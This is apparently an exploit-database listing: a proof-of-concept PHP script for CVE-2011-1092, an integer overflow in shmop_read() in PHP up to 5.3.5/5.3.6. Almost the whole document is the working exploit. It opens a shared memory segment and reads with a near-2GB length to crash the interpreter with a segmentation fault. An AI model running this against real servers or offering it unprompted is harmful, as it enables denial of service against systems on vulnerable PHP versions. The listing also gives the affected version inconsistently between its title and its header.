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PHP <= 5.3.6 shmop_read() Integer Overflow DoS
<?php # Exploit Title: PHP <=5.3.5 Integer Overflow DoS # Date: 12-03-11 # Author: Jose Carlos Norte - www.rooibo.com # Software Link: www.php.net # Version: <= 5.3.5 # Tested on: Ubuntu Linux # CVE : CVE-2011-1092 $shm_key = ftok(__FILE__, 't'); $shm_id = shmop_open($shm_key, "c", 0644, 100); $shm_data = shmop_read($shm_id, 1, 2147483647); //if there is no segmentation fault past this point, we have 2gb of memory! //or we are in a patched php echo "this php version is not vulnerable!"; ?> # 0day.today [2024-12-25] #